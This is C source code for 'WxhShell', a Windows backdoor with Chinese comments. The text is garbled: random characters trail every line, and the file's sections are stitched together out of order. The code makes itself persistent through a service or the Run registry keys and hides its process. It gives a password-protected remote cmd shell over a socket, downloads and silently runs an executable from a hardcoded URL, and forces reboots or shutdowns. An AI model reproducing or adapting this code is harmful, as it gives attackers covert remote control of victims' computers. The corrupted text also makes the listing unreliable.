    ExitThread(0); ':sTd^V  
    } {8:o?LnMW  
    break; ^&m?qKN8  
    } .e$%[ )D  
  // 关机 rIlBH*aT  
  case 'd': { CB]l[hM$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .. UoyBV  
    if(Boot(SHUTDOWN)) M=+M8M`Iy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7j T}{ x  
    else { Omb.53+  
    closesocket(wsh); ~ B]jV$=  
    ExitThread(0); ~04[KG  
    } )* 3bkKVB  
    break; ,s? dAy5  
    } fq(5Lfe}  
  // 获取shell ITc `]K  
  case 's': { 8[HZ@@  
    CmdShell(wsh); NL-_#N$  
    closesocket(wsh); R&!]Rl9hf  
    ExitThread(0); +-P<CCvWz  
    break; i[_| %'p  
  } ^4UcTjh  
  // 退出 pK"&QPv  
  case 'x': { D1ZC&B_}-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /.v_N%*-v  
    CloseIt(wsh); :rL?1"   
    break; uk6g s)qxC  
    } 0BFz7  
  // 离开 ucM.Ro=@  
  case 'q': { w"6aha*%7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l $w/Fz  
    closesocket(wsh); +!xu{2!  
    WSACleanup(); V4\56 0  
    exit(1); xp=Zd\5W$  
    break; k}<<bm*f  
        } 2_N/wR#=&  
  } w&C1=v -h  
  } #%WCL'6B  
[DhEh@  
  // 提示信息 mR,O0O}&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]|y}\7Aa  
} k- vA#  
  } K=o:V&  
AZBC P  
  return; OA5f}+  
} i*z0Jf["  
8~qlLa>jc  
// shell模块句柄 ^k;mn-0  
int CmdShell(SOCKET sock) 1b+h>.gWar  
{ _'lmCj8L  
STARTUPINFO si; UEN56@eCNf  
ZeroMemory(&si,sizeof(si)); RxMoD.kx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $^IjFdD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [%? hCc  
PROCESS_INFORMATION ProcessInfo; sL8>GtVo  
char cmdline[]="cmd"; GVZTDrC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "?[7#d])  
  return 0; g41<8^(  
} #@q1Ko!NZ  
L5&K}F]r^  
// 自身启动模式 aPt{C3<  
int StartFromService(void) N5ci};?  
{ :fW.-^"VP  
typedef struct <k5`&X!+  
{ u ]SZ{[ e  
  DWORD ExitStatus; 90(UgK&Y  
  DWORD PebBaseAddress; ?#i|>MRR>  
  DWORD AffinityMask; jf8w7T  
  DWORD BasePriority; d^y86pq.  
  ULONG UniqueProcessId; K?JV]^  
  ULONG InheritedFromUniqueProcessId; +9jivOmK  
}   PROCESS_BASIC_INFORMATION; `xGT_0&ck  
@Rf^P(  
PROCNTQSIP NtQueryInformationProcess; 3wo'jOb  
c`pYc  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ovSH}h!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "G@E6{/  
Y=|CPE%V  
  HANDLE             hProcess; /wlFD,+8  
  PROCESS_BASIC_INFORMATION pbi; DEcGFRgN~  
ILNXaJ'0a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p_;r%o=  
  if(NULL == hInst ) return 0; S NN#$8\  
RB *P0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Eny!R@u7q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ] .`_, IO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k3#wLJ  
5DUi4 Cbgy  
  if (!NtQueryInformationProcess) return 0; Wy!uRzbBv  
03C .Xh=!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gg}t-_M  
  if(!hProcess) return 0; c{ 7<H  
1j+eD:d'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \:h0w;34O  
>gF-6nPQ  
  CloseHandle(hProcess); B9AbKK$`  
kM,@[V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -G FwFkWm  
if(hProcess==NULL) return 0; :Fc8S9  
E~}[+X@  
HMODULE hMod; 16L"^EYq  
char procName[255]; vWuyft*  
unsigned long cbNeeded; JLml#Pu4  
:)j7U3u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =m7CJc  
w gmWo8  
  CloseHandle(hProcess); KoFv0~8Q  
y _6r/z^  
if(strstr(procName,"services")) return 1; // 以服务启动 9Il'E6 J  
75<el.'H  
  return 0; // 注册表启动 ~R)1nN|  
} t&3 8@p  
v [dAywW  
// 主模块 ]bf'  
int StartWxhshell(LPSTR lpCmdLine) N=.}h\{0  
{  GsI[N%  
  SOCKET wsl; "--/v. Cs  
BOOL val=TRUE; bKTqX[=  
  int port=0; B5 D3_ iX]  
  struct sockaddr_in door; C"k2<IE  
:J<Owh@  
  if(wscfg.ws_autoins) Install(); 8 qn{  
$tEdBnf^ca  
port=atoi(lpCmdLine); HhzkMJR8  
Ca$y819E2  
if(port<=0) port=wscfg.ws_port; t`h_+p%>  
u6]gQP">I  
  WSADATA data; { 576+:*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  PE^eP}O1  
9+W!k^VWq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /@6E3lh S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P>>f{3e.  
  door.sin_family = AF_INET; :vw0r`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1<;\6sg  
  door.sin_port = htons(port); c]S+70!n  
U<K|jsFo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }5QZ6i#  
closesocket(wsl); XC :;Rq'j  
return 1; d~w}NK[(  
} C3]\$  
K<D`(voL  
  if(listen(wsl,2) == INVALID_SOCKET) { lp?i_p/z  
closesocket(wsl); 8.:B=A  
return 1; !Jk(&.  
} MiRibHXI,  
  Wxhshell(wsl); fLLnf].O  
  WSACleanup(); y?[5jL|Ue  
pM1=U F  
return 0; od;Bb  
h<+PP]l=  
} -7&^jP\,  
lO%MyP  
// 以NT服务方式启动 s@/B*r9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pK-_R#  
{ wgC??Be;ut  
DWORD   status = 0; oH!$eAU?  
  DWORD   specificError = 0xfffffff; `i"$*4#<  
#FrwfJOV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =ZxW8 DK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VFQq`!*i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EI[e+@J  
  serviceStatus.dwWin32ExitCode     = 0; xgZV0!%  
  serviceStatus.dwServiceSpecificExitCode = 0; SH .9!lQv  
  serviceStatus.dwCheckPoint       = 0; Gw{Gt]liq  
  serviceStatus.dwWaitHint       = 0; b #o}=m  
le "JW/BD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }IxY(`:qs  
  if (hServiceStatusHandle==0) return; 7}.#Z  
>1#DPU(g  
status = GetLastError(); yBpW#1=  
  if (status!=NO_ERROR) $q4XcIX 7  
{ XLkL#&Ir  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _lP4ez Y  
    serviceStatus.dwCheckPoint       = 0; 6n2Vx1b  
    serviceStatus.dwWaitHint       = 0; h;cB_6vt  
    serviceStatus.dwWin32ExitCode     = status; (O M?aW  
    serviceStatus.dwServiceSpecificExitCode = specificError; .6lY*LI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y&ct+w]%  
    return; ujI 3tsl  
  } oO!1  
(mD-FR@#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /\IAr,w[  
  serviceStatus.dwCheckPoint       = 0; x!Z:K5%O  
  serviceStatus.dwWaitHint       = 0; X ,V= od>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GC5#1+fQ  
} U89]?^|bb  
:F!dTD$  
// 处理NT服务事件,比如:启动、停止 8:3oH!n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YyQf  
{ BN<#x@m$]  
switch(fdwControl) V0SW 5 m  
{ >S?C {_g  
case SERVICE_CONTROL_STOP: PCV58n3  
  serviceStatus.dwWin32ExitCode = 0; 8GF[)z&|P:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3Hb .Z LE#  
  serviceStatus.dwCheckPoint   = 0; pIU#c&%<9  
  serviceStatus.dwWaitHint     = 0; Zztt)/6*  
  { pq/ FLYiv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Thht_3_C,f  
  } orcZ yYU  
  return; /-G qG)PX  
case SERVICE_CONTROL_PAUSE: !`O_VV`/@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G#9o?  
  break; ?3B t ;<^  
case SERVICE_CONTROL_CONTINUE: a<a&6 3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E.7AbHph0  
  break; r{Qs9  
case SERVICE_CONTROL_INTERROGATE: nN_94 ZqS<  
  break; }`+^|1  
}; Ee$" O 6*!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ ufSNx(F  
} S<2CG)K[  
3isXgp8  
// 标准应用程序主函数 `JY>v io  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |p=.Gg=2  
{ $v?! 6:  
,J`lr U0  
// 获取操作系统版本  Rsa\V6N>  
OsIsNt=GetOsVer(); *_"c! eW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &kXGWp  
V,|Bzcz  
  // 从命令行安装 \>aa8LOe  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^2Fs)19R  
&<fRej]v  
  // 下载执行文件 !~w6"%2+7  
if(wscfg.ws_downexe) { ?@g;[310`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PJSDY1T  
  WinExec(wscfg.ws_filenam,SW_HIDE); QYf/tQg$  
} &4[#_(pk  
~Uwr68 9N  
if(!OsIsNt) { rlUdAa3  
// 如果时win9x,隐藏进程并且设置为注册表启动 K[Egwk7  
HideProc(); buC m @@o  
StartWxhshell(lpCmdLine); "Dmw -  
} vP87{J*DE1  
else 0^)8*O9$  
  if(StartFromService()) E{+c*sz  
  // 以服务方式启动 98b9%Z'2f  
  StartServiceCtrlDispatcher(DispatchTable); Z+`{JE#  
else 5b{yA~ty  
  // 普通方式启动 >2/wzsW  
  StartWxhshell(lpCmdLine); QBPvGnb  
^ T:qT*v  
return 0; %x'bo>h@  
} ;I`,ZKY  
|Ad6~E+aL-  
gv Rc:5B[  
QU,TAO  
=========================================== &)"7am(S`  
nM(=bEX  
cV=_G E  
'7O{*=`oj  
WV !kA_  
xj00eL  
" tsSS31cv  
eN2k8=  
#include <stdio.h> 5>4A}hSe  
#include <string.h> 3 q.[-.q  
#include <windows.h> dPyBY ]`  
#include <winsock2.h>  z7.C\l  
#include <winsvc.h> v{rK_jq  
#include <urlmon.h> MLv.v&@S  
b0z{"  
#pragma comment (lib, "Ws2_32.lib") eB/hyC1  
#pragma comment (lib, "urlmon.lib") W_f"Gk  
"6*Kgf2G  
#define MAX_USER   100 // 最大客户端连接数 qqom$H<  
#define BUF_SOCK   200 // sock buffer "ZJ1`R=Mj  
#define KEY_BUFF   255 // 输入 buffer J:mu%N`  
(fk, 80  
#define REBOOT     0   // 重启 2 Zjb/  
#define SHUTDOWN   1   // 关机 ,T21z}r  
!ovZ>,1  
#define DEF_PORT   5000 // 监听端口 cJ(zidf_$  
1R+ )T'in  
#define REG_LEN     16   // 注册表键长度 c^[1]'y  
#define SVC_LEN     80   // NT服务名长度 (zTI)EV  
= "hY{RUa  
// 从dll定义API s>M~g,xTU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X-ki%jp3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Zm8 u:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +'&_V011<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I}G}+0geV  
/YugQ.>| l  
// wxhshell配置信息 }Cq9{0by?a  
struct WSCFG { :'=~/GR  
  int ws_port;         // 监听端口 Dxa)7dA|  
  char ws_passstr[REG_LEN]; // 口令 T.m)c%]^/  
  int ws_autoins;       // 安装标记, 1=yes 0=no I ;11j  
  char ws_regname[REG_LEN]; // 注册表键名 D-+)M8bt  
  char ws_svcname[REG_LEN]; // 服务名 @|UIV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C+#;L+$Gi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kO`3ENN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k.%W8C<Pa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1KIq$lG{ E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" neY=:9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PHiX:0zT  
cT=wJ  
}; #NQz&4W  
6<Pg>Bg  
// default Wxhshell configuration + x ;ML  
struct WSCFG wscfg={DEF_PORT, 5N3!!FFE  
    "xuhuanlingzhe", HfeflGme*  
    1, ]R0A{+]n  
    "Wxhshell", t1{%FJ0F  
    "Wxhshell", Qpv}N*v^  
            "WxhShell Service", f$S QhK5`  
    "Wrsky Windows CmdShell Service", +8vzkfr3It  
    "Please Input Your Password: ", 7Ae,|k  
  1, g$-D?~(Z  
  "http://www.wrsky.com/wxhshell.exe", =*>4Gh i  
  "Wxhshell.exe" F6GZZKj  
    }; m[Ac'la  
!wb~A0m  
// 消息定义模块 xd BZ^Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5bznM[%xO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d @kLLDP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LX?r=_\  
char *msg_ws_ext="\n\rExit."; 0*:hm%g  
char *msg_ws_end="\n\rQuit."; \A\yuJ=  
char *msg_ws_boot="\n\rReboot..."; 6RT0\^X*:  
char *msg_ws_poff="\n\rShutdown..."; >\oJ&gdc  
char *msg_ws_down="\n\rSave to "; I&NpN~AU  
!%\To(r[  
char *msg_ws_err="\n\rErr!"; rs<&x(=Hv  
char *msg_ws_ok="\n\rOK!"; \gzwsT2&  
Rd1ku=  
char ExeFile[MAX_PATH]; hy&Hl  
int nUser = 0; z9kX`M+  
HANDLE handles[MAX_USER]; <%#y^_  
int OsIsNt; (yTz^o$t|  
c+i`Zd.m<  
SERVICE_STATUS       serviceStatus; cxJK>%84  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I/b8  
$\@ V4  
// 函数声明 ,t&-`U]AX  
int Install(void); ~md|k  
int Uninstall(void); ^FMa8;'o  
int DownloadFile(char *sURL, SOCKET wsh); .rB;zA;4S)  
int Boot(int flag); n ua8y(W  
void HideProc(void); I~ ]mX;  
int GetOsVer(void); MbFe1U]B  
int Wxhshell(SOCKET wsl); #|_UA}Y  
void TalkWithClient(void *cs); AW;) _|xM  
int CmdShell(SOCKET sock); '>mb@m  
int StartFromService(void); ].f,3it g&  
int StartWxhshell(LPSTR lpCmdLine); ;pyJ O_R[  
-Tkd@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y&!]I84]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 898wZ{9  
9-iB?a7{.  
// 数据结构和表定义 ;I))gY-n  
SERVICE_TABLE_ENTRY DispatchTable[] = DfzUGX  
{ l5OV!<7~X  
{wscfg.ws_svcname, NTServiceMain}, iai4$Y(%  
{NULL, NULL} pfQZ|*>lkb  
}; *|#JFy?c[  
l}-`E@w  
// 自我安装 /Vd#q)b%T  
int Install(void) 1Da [!^u,D  
{ _xL&sy09t  
  char svExeFile[MAX_PATH]; z*~ PYAt  
  HKEY key; m"7R 4O  
  strcpy(svExeFile,ExeFile); Y6%OV?}v!  
@ h`Zn1;  
// 如果是win9x系统,修改注册表设为自启动 A-Pwi.$  
if(!OsIsNt) { NEou2y+}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O*/-I pM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GJt9hDM$0  
  RegCloseKey(key); 3N*C]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NE%yv,B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C(*@-N pf[  
  RegCloseKey(key); j=QR*8*  
  return 0; GhQ`{iJM  
    } kDP^[V P+  
  } 5{/Pn%5  
} e27CbA{_w  
else { 3v>,c>b([  
_7"W\gn:9  
// 如果是NT以上系统,安装为系统服务 gH// TbS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )hJjVitG  
if (schSCManager!=0) =LY^3TlDj  
{ }J'w z;t1  
  SC_HANDLE schService = CreateService y* Q-4_%,  
  ( m1o65FsY08  
  schSCManager, ?!j/wV_H  
  wscfg.ws_svcname, rZQHB[^3  
  wscfg.ws_svcdisp, lbU+a$  
  SERVICE_ALL_ACCESS, Y9y*" :&%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d*(Bs $De  
  SERVICE_AUTO_START, i{[H3p8  
  SERVICE_ERROR_NORMAL, ',s7h"  
  svExeFile, P(nHXVSUE  
  NULL, PjZvLK@a9)  
  NULL, J*&=J6  
  NULL, /~huTKA}  
  NULL, LF.~rmPa  
  NULL HtYR 0J  
  ); 4m!3P"$  
  if (schService!=0) $<e .]`R  
  { %vYlu%c<  
  CloseServiceHandle(schService); Eq;frnw>q  
  CloseServiceHandle(schSCManager); "(&`muIc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (Ha}xwA~(  
  strcat(svExeFile,wscfg.ws_svcname); c!wB'~MS#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ! e,(Zz5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s:F+bG}|  
  RegCloseKey(key); WvzvGT=  
  return 0; 5d{Ggg{s  
    } pcTXTy 28  
  } k#NMD4(%O  
  CloseServiceHandle(schSCManager); cD@lor j  
} Y8'_5?+ 0  
} QjN3j*@  
IMrOPwjc  
return 1; N%E2BJ?  
} (MiOrzT  
}(}vlL  
// 自我卸载 s\FNKWQ  
int Uninstall(void) A?KKZ{Pl  
{ ,k' 6<Hw  
  HKEY key; i1@gHk  
|RXC;zt9s  
if(!OsIsNt) { l^?A8jG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >Mw =}g@P  
  RegDeleteValue(key,wscfg.ws_regname); #f;1f8yrN  
  RegCloseKey(key); > BCX%<&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  grA L4  
  RegDeleteValue(key,wscfg.ws_regname); r74w[6(  
  RegCloseKey(key); s(Bi& C\  
  return 0; 0MGK3o)  
  } [z@RgDX v  
} .h^Ld,Chj  
} I19F\ L`4  
else { 2czL 1Ci  
abP?Dj&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N ] /d  
if (schSCManager!=0) 3"D00~  
{ x+`3G.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R:x04!}  
  if (schService!=0) )?y"NVc*  
  { 8Kkr1}!wd  
  if(DeleteService(schService)!=0) { z4:09!o_  
  CloseServiceHandle(schService); 5g7}A`  
  CloseServiceHandle(schSCManager); 2DdLqZY#  
  return 0; Cms"OkN  
  } 8^i,M^f^{  
  CloseServiceHandle(schService); S9055`v5  
  } )X$n'E  
  CloseServiceHandle(schSCManager); =DwH*U /YR  
} o;C)!  
} Qnh1s u5  
HV(*6b@  
return 1; cNC BbOMr  
} r T$g^  
-z1o~~  
// 从指定url下载文件 V t;&2v  
int DownloadFile(char *sURL, SOCKET wsh) >m{-&1Tx  
{ v A~hkkj{  
  HRESULT hr; R$`T"C"  
char seps[]= "/"; o%Q2.  
char *token; Ll48)P{+}V  
char *file; o7B+f  
char myURL[MAX_PATH]; OZ9j3Q;a$  
char myFILE[MAX_PATH]; k5CIU}H"  
tvCTC ey  
strcpy(myURL,sURL); 8#-}3~l[  
  token=strtok(myURL,seps); `P*j~ZLlXN  
  while(token!=NULL) /^ 7 9|$E  
  { kIo?<=F8T  
    file=token; e$I:[>  
  token=strtok(NULL,seps); -q|M=6gOs  
  } c3-bn #  
Gl1$W=pR:  
GetCurrentDirectory(MAX_PATH,myFILE); Ia" Mi+{  
strcat(myFILE, "\\"); e{S`iO  
strcat(myFILE, file); .AS,]*?Zn%  
  send(wsh,myFILE,strlen(myFILE),0); R_DQtLI  
send(wsh,"...",3,0); NPabM(<`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X~!?t }  
  if(hr==S_OK) G&Sg .<hn  
return 0; !\v3bOi&  
else ,aL"Wy(  
return 1; v9kzMxs,  
6Z:|"AwC2  
} M!@[lJ  
>.>5%  
// 系统电源模块 "<b84?V5  
int Boot(int flag) Vdyx74xX  
{ H-lRgJdc  
  HANDLE hToken; \/zS@fz  
  TOKEN_PRIVILEGES tkp; yY|U}]u!V  
LnIJ wD  
  if(OsIsNt) { X / "H+l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %)]RM/e8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Rv o<ISp  
    tkp.PrivilegeCount = 1; 8yl /!O,v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tJ3s#q6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2Z |kf9  
if(flag==REBOOT) { |3@]5f&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'KG`{K$  
  return 0; ]ORat.*0[T  
} 7G2N&v>  
else { ZrBxEf$f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) % VZ\4+8S  
  return 0; >48Y-w  
} ><^@1z.J  
  } 4 -W?u51"  
  else { h~t]WN  
if(flag==REBOOT) { B[h9epU]K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E>v~B;@  
  return 0; E"!*ASN  
} $!lxVZ>  
else { &*~ WK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `dhK$jYD  
  return 0; h#9)M  
} G<DUy^$i  
} 7ac3N  
#^Y-*vf2  
return 1; O;"%z*g.  
} (reD  
u:|5jF  
// win9x进程隐藏模块 z /=v@@tj  
void HideProc(void) !h\3cs`QU  
{ ;?9~^,l  
g!UM8I-$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J4; ".Y=  
  if ( hKernel != NULL ) dl4.jLY  
  { L2%P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7 5u*ZMK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !bg3  
    FreeLibrary(hKernel); glpdYg *  
  } To+{9"$,  
8wd2\J,]  
return; nq;)!Wry  
} # L R[6l  
3z<t#  
// 获取操作系统版本 XDF" ,N)  
int GetOsVer(void) xM,3F jF  
{ ORTM [cL  
  OSVERSIONINFO winfo; t30V_`eQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  %JZIg!  
  GetVersionEx(&winfo); 2},}R'aR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $- L)>"  
  return 1;  W~4|Z=f  
  else &!=3Fbn  
  return 0; JC-L80-  
} w_ m  
(g\'Zw5bk  
// 客户端句柄模块 0IK']C  
int Wxhshell(SOCKET wsl) +?p ;,Z%5  
{ ZO~N|s6B^  
  SOCKET wsh; {*m?t 7  
  struct sockaddr_in client; K+Qg=vGY  
  DWORD myID; %-dGK)?  
mon(A|$|j  
  while(nUser<MAX_USER) 8b/yT4f  
{ (|-/S0AV  
  int nSize=sizeof(client); q$K~BgFzpZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); | v+b?@  
  if(wsh==INVALID_SOCKET) return 1; >jcNo3S  
wJ}8y4O!N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @S}'_g  
if(handles[nUser]==0) S=Zjdbd  
  closesocket(wsh); P~&X$H%e  
else T-MLW=Vu  
  nUser++; Yr!3mU-Uvt  
  } C>HU G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4%p vw;r  
*\>7@r[%5  
  return 0; 1g@kHq  
} P*}Oi7Z  
1/z1~:Il  
// 关闭 socket  `@p*1  
void CloseIt(SOCKET wsh) S=o/n4@}  
{ E5rNC/Ul$$  
closesocket(wsh); O/-xkzR*  
nUser--; Y#G '[N>  
ExitThread(0); Vj_ $%0  
} Uhf -}Jdw  
c{[d@jt O  
// 客户端请求句柄 pq@ad\8  
void TalkWithClient(void *cs) opBv x>S  
{ Gr_I/+<  
Wrlmo'31  
  SOCKET wsh=(SOCKET)cs; 3wK)vW  
  char pwd[SVC_LEN]; i9\Pks#l%  
  char cmd[KEY_BUFF]; e2;"> tp6?  
char chr[1]; (\G~S 4  
int i,j; vi'K|[!?  
r6A7}v  
  while (nUser < MAX_USER) { UuN(+&oD-  
umi#Se3&  
if(wscfg.ws_passstr) { J[9jNCq|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OAv/P|n=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N%0Z> G  
  //ZeroMemory(pwd,KEY_BUFF); 9 i"3R0HN  
      i=0; >0>M@s  
  while(i<SVC_LEN) { .w0?  
rh+OgKi  
  // 设置超时 EV9m\'=j  
  fd_set FdRead; 9:P)@UF  
  struct timeval TimeOut; C'{Z?M>  
  FD_ZERO(&FdRead);  9TeDLp  
  FD_SET(wsh,&FdRead); 7Kn=[2J5k'  
  TimeOut.tv_sec=8; iVFn t!  
  TimeOut.tv_usec=0; E*kS{2NAq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]xuq2MU,l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @sVBG']p  
1$c*/Tc:E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4X^0:.bT&  
  pwd=chr[0]; N @k:kI  
  if(chr[0]==0xd || chr[0]==0xa) { U-k6ZV3&8  
  pwd=0; o;"!#Z 1SJ  
  break; w^r*qi"  
  }  W?.Y%wc0  
  i++; }JI5,d  
    } LnBkd:>}  
4kx#=MLt  
  // 如果是非法用户,关闭 socket 1j}o. 0\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <Wl! Qog'  
} k(s3~S2h  
xa K:@/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sR5dC_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /6>2,S8Ar  
pPh$Jvo]  
while(1) { KxY|:-"Tt  
`P'{HT  
  ZeroMemory(cmd,KEY_BUFF);  ?9AByg  
#x'C  
      // 自动支持客户端 telnet标准   xe 6x!  
  j=0; _I2AJn`#  
  while(j<KEY_BUFF) { uu(.,11`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "3Ec0U \s  
  cmd[j]=chr[0]; n] &fod  
  if(chr[0]==0xa || chr[0]==0xd) { :^l`m9  
  cmd[j]=0; 0^hz1\g  
  break; ?Hq`*I?b9  
  } 3B>!9:w~f  
  j++; 6MZfoR  
    } vq x;FAqZ  
'I;pS)sb  
  // 下载文件 olh|.9Kdj}  
  if(strstr(cmd,"http://")) { xe}"0'g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I5  
  if(DownloadFile(cmd,wsh)) ?onZ:s2  
